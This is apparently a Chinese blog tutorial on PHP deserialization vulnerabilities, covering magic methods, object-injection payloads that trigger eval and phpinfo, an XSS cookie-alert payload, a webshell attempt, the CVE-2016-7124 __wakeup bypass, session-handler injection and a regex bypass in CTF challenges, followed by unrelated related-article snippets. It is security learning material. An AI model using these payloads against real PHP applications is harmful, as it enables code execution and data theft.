最近又遇到php反序列化,就顺便来做个总结。

0x01 PHP序列化和反序列化

php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。

php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。

序列化例子:

<?php
class test{
public $name = 'lu';
private $name2 = 'lu';
protected $name3 = 'lu';
}
$test1 = new test();
$object = serialize($test1);
print_r($object); ?>

最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}

注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留

序列化只序列化属性,不序列化方法。

简单介绍下具体含义



但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。

通过对网页抓取输出是这样的

`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}

public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3

反序列化试例:

?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "</br>"; ?>



一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果



提示不完整的类

0x02 PHP序列化漏洞是怎么产生的

要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。

PHP的魔法函数

__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。

来一个例子

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['test'];

$c = unserialize($a);

?>

我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入

<?php 

class test{

    public $target = '<script>alert(document.cookie);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

0x03 魔法函数的触发顺序

我们重点关注以下几个魔法函数

这里我们着重关注一下几个:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • __wakeup():如前所提,unserialize()时会自动调用。
  • __toString()当一个对象被当作一个字符串使用

    *__sleep()在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。

    测试代码
<?php
class lushun{
public $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __sleep(){
echo "__sleep";
echo "</br>";
return array('test');
}
function __toString(){
return "__toString"."</br>";
}
function __conStruct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
} $lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."</br>");
?>

输出结果:



可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。

0x04 魔法方法的攻击

先来看个例子

<?php
class One {
private $test;
function __construct() {
$this->test = new Bad();
} function __destruct() {
$this->test->action();
}
} class Bad {
function action() {
echo "1234";
}
} class Good { var $test2;
function action() {
eval($this->test2);
}
} unserialize($_GET['test']);

可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。

<?php
class One {
private $test;
function __construct() {
$this->test = new Good();
}
}
class Good {
var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));



这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。



发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。

接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求

192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}

注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.



这里我还尝试了一下把$test2的值换成一句话马



然后构造url用菜刀连接

http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}

结果报错了



下次再研究一下为什么。

到了这里大致总结一下发现利用php反序列化漏洞的几个点。

(1)检查我们是否能控制unserialize()函数的参数。

(2)重点查看序列化对象里的魔法函数的作用,看看可控制的属性有没有能对其产生影响的。

(3)该类在执行序列化之前做了哪些动作,或者操作。

(4)最后选择好要控制的属性之后,将相关的类代码复制下来生成反序列结果。

0x05 反序列化漏洞例题

1.bugku平台 flag.php

http://123.206.87.240:8002/flagphp/?hint

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center">  <form method="POST" action="#">    <p><input name="user" type="text" placeholder="Username"></p>    <p><input name="password" type="password" placeholder="Password"></p>    <p><input value="Login" type="button"/></p>  
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>

代码审计看到首先将请求头cooke值里ISecer的键值保存到$Cookie里,再判断$Key的值是否与反序列化后的$Cookie值相同,注意在这里$Key的数值是没有定义的,最后那个定义是在后面了没起作用。

所以我们只需要将cookie的值改为$Key序列化后的值就行。代码如下。

<?php
$key = "";
$aaa = serialize($key);
print ($aaa)
?>
输出:s:0:"";

再把cookie改为ISecer:s=0:"";即可,注意要是用浏览器插件修改cookie的话要把;改为%3B

2.反序列化绕过__wakeup

<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

代码意思就是将提交的file参数base64解码后再反序列化,我们看到析构函数可以显示不同文件的源码,但是__wakeup函数已经锁定了file为index.php所以现在就是考虑绕过__wakeup函数,实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。网上已经有很多讲解了,我们只需要知道成员数目大于实际数目这个利用的点就行了

构造exp

<?php
class SoFun{
protected $file = 'flag.php';
}
$aa = new SoFun();
$aaa = serialize($aa);
file_put_contents('qq.txt',$aaa);
?>

O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}有protected属性成员记得加上/00,再把1改为2或者更大的数,再base64编码一下就行了,但我在操作中发现如果括号里第一个s为小写,base64编码后不会显示flag.php源码.



诶这又是为什么,我思来想去,最后发现是protected属性的问题,我将源码的protected改为var后,无论s大写小写都可以正常显示flag.php源码,我再次试验后发现private属性也是一样的有这个问题。算是个坑吧刚好记录一下。

session反序列化

看看这个

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

PHP中的会话中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是会议的值序列化之后的内容。

session.serialize_handler是用来设置会话序列的化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的会话的存储方式不相同。

php session有三种序列化和反序列化处理器

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过的serialize()函数序列化处理的值
php 键名+竖线+经过的serialize()函数序列处理的值
php_serialize(php>5.5.4) 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的处理器');

session使用相同的序列化和反序列化处理器进行存储工作时是正常的,但如果php session序列化和反序列化时使用的处理器不同会导致无法正常反序列化,通过特殊的构造甚至可以伪造任意数据。

比如默认是php的handler,在该页面设置为php_serialize这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化。

在默认的php处理器下储存为

<?php
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
sex|s:3:"man";

在php_serialize处理器下:

注意:使用php_serialize php版本必须在5.5.4以上不然没有这个方法报错。

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['sex'] = 'man';
储存的值为:
a:1:{s:3:"sex";s:3:"man";}

实际利用

so.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["sex"]=$_GET["m"];

soo.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Sex{
var $hi;
function __construct(){
$this->hi = "system('whoami');";
} function __destruct() {
eval($this->hi);
}
}

在so.php构造

127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}



然后访问soo.php



为什么会这样呢,因为开始访问so.php时,脚本会按照php_serialize处理器的方法序列化存储数据,会将Sex当做键名,a的参数当做键值当成一个数组序列化存储起来,变成这样

a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}然后访问soo.php时是用php处理器读取数据,会以|为分界线,前半部分作为键名后半部分作为值将后半部分反序列化,会得到Sec类。

反序列化绕过正则

一道简单ctf

<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

unserialize 一眼就看到了是反序列化题目,一个__toString方法允许读取任意文件。

所以构造反序列化,但是还有个正则拦路虎

preg_match('/[oc]:\d+:/i',$data,$matches)筛掉了[oc]:数字:

所以如果正常构造序列化字符串

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}前面的O:4就被拦下,所以我们在4后面加上个+构造payload:

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

记得编码一下,不然+会变成空格

PHP序列化及反序列化分析学习小结的更多相关文章

  1. PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化)/约束类型/魔术方法小结

      前  言  OOP  学习了好久的PHP,今天来总结一下PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化). 1  PHP中的抽象 ...

  2. php中序列化与反序列化

    解析PHP多种序列化与反序列化的方法 序列化是将变量转换为可保存或传输的字符串的过程:反序列化就是在适当的时候把这个字符串再转化成原来的变量使用.这两个过程结合起来,可以轻松地存储和传输数据,使程序更 ...

  3. 序列化、反序列化和transient关键字的作用

    引言 将 Java 对象序列化为二进制文件的 Java 序列化技术是 Java 系列技术中一个较为重要的技术点,在大部分情况下,开发人员只需要了解被序列化的类需要实现 Serializable 接口, ...

  4. 解析PHP多种序列化与反序列化的方法

    1. serialize和unserialize函数这两个是序列化和反序列化PHP中数据的常用函数. 复制代码 代码如下: <?php$a = array('a'=> 'Apple' ,' ...

  5. .net 序列化与反序列化

    1.序列化 反序列化 C#中如果需要:将一个结构很复杂的类的对象存储起来,或者通过网路传输到远程的客户端程序中去,这时就需要用到序列化,反序列化(Serialization & Deseria ...

  6. Json数据的序列化与反序列化的三种经常用法介绍

    下面内容是本作者从官网中看对应的教程后所做的demo.其体现了作者对相关知识点的个人理解..作者才疏学浅,难免会有理解不到位的地方.. 还请各位读者批判性对待... 本文主要介绍在Json数据的序列化 ...

  7. DRF框架(二)——解析模块(parsers)、异常模块(exception_handler)、响应模块(Response)、三大序列化组件介绍、Serializer组件(序列化与反序列化使用)

    解析模块 为什么要配置解析模块 1)drf给我们提供了多种解析数据包方式的解析类 form-data/urlencoded/json 2)我们可以通过配置来控制前台提交的哪些格式的数据后台在解析,哪些 ...

  8. json —— pickle 的序列化和反序列化

    前言json的序列化和反序列化 1, json 只能序列化简单的数据类型,如,列表,字典,字符串,等简单的类型,不能序列化复杂的类型. 2, json 是支持所有的语言的,多以我们跨语言的时候都是用j ...

  9. drf序列化及反序列化

    假如把drf看做一个汉堡包,我们之前讲的模块属于汉堡包前面的盖盖(请求模块.渲染模块)和底底(异常模块.解析模块.响应模块),但是真正中间的夹心没有讲,那么今天我就和大家来看一下汉堡包的夹心(序列化及 ...

随机推荐

  1. Swfit 属性与汇编分析inout本质

    今天将讲述Swift属性以及剖析inout的本质, 如有兴趣可点击关注,以后会定期更新更有料的博客!!! 一.属性 Swift中跟实例相关的属性可以分为2大类 存储属性(Stored property ...

  2. 第一篇博客 C+++知识点总结一

    1.成员 1.比较特殊的成员类型:protected. 保护成员在本类中和private类型的成员作用一模一样.区别在于保护成员可以由本类的派生类的成员函数访问,但是私有成员在其派生类中无法访问. 2 ...

  3. TCP数据报结构以及三次握手(图解)

    简要介绍 TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的.可靠的.基于字节流的通信协议,数据在传输前要建立连接,传输完毕后还要断开连接.客户端在收发 ...

  4. C++ 结构体sturct练习

    #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> struct Student { ];// 姓名 int id; //id int a ...

  5. iframe 父框架调用子框架的函数

    1.父框架定义: <iframe name="mainframe" id="mainframe" width="100%" scrol ...

  6. Hadoop集群搭建(二)~centos6.8的安装

    这篇记录在创建好的虚拟机中安装centos6.8 1,在虚拟机界面-选择编辑虚拟机设置 2,CD/DVD,选择使用ISO映像文件,找到安装包的位置,确定 3,回到虚拟机的界面,开启此虚拟机 4,安装 ...

  7. 源码分析 Sentinel 之 Dubbo 适配原理

    目录 1.源码分析 SentinelDubboConsumerFilter 2.源码分析 SentienlDubboProviderFilters 3.Sentienl Dubbo FallBack ...

  8. [BUG]Uncaught TypeError: Illegal invocation at HTMLDivElement.

    <div id="clickMe" key="1">点我</div> clickMe.onclick = function (event ...

  9. 0919-The Standard of Code Review

    The primary purpose of code review is to make sure that the overall code health of Google’s code bas ...

  10. EPX Studio开发平台简介

    大家问我最多的问题就是“EPX 是什么?”“EPX 能够用来做什么?”“EPX 有什么优势?”“EPX 与其它开发平台的区别是什么?” 问题林林总总,总也回答不完,希望通过正文前面的这段文字,来简要回 ...